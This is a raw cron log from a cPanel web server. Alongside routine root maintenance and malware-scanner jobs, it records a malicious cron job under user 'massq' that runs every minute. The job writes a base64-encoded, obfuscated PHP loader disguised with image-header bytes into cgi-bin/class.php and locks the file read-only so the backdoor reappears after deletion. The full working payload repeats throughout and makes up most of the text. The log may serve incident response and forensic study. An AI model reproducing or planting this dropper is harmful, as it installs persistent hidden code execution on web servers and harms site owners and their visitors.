Sep 10 20:34:01 server CROND[22216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:34:01 server CROND[22217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:34:01 server CROND[22218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:35:01 server CROND[22614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:35:01 server CROND[22615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:35:01 server CROND[22619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:35:01 server CROND[22622]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 20:35:01 server CROND[22624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:35:01 server CROND[22621]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:35:01 server CROND[22620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:35:01 server CROND[22623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:35:01 server CROND[22618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:36:01 server CROND[23661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:36:01 server CROND[23662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:36:01 server CROND[23665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:37:01 server CROND[24077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:37:01 server CROND[24078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:37:01 server CROND[24079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:38:01 server CROND[24458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:38:01 server CROND[24459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:38:01 server CROND[24460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:39:01 server CROND[24835]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 20:39:01 server CROND[24837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:39:01 server CROND[24836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:39:01 server CROND[24838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:40:01 server CROND[25240]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:40:01 server CROND[25241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:40:01 server CROND[25243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:40:01 server CROND[25257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:40:01 server CROND[25266]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:40:01 server CROND[25269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:40:01 server CROND[25268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:40:01 server CROND[25265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:41:01 server CROND[26135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:41:01 server CROND[26136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:41:01 server CROND[26137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:42:01 server CROND[26562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:42:01 server CROND[26563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:42:01 server CROND[26564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:42:01 server CROND[26566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:43:01 server CROND[26945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:43:01 server CROND[26944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:43:01 server CROND[26946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:44:01 server CROND[27323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:44:01 server CROND[27324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:44:01 server CROND[27325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:45:01 server CROND[27710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:45:01 server CROND[27712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:45:01 server CROND[27716]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:45:01 server CROND[27713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
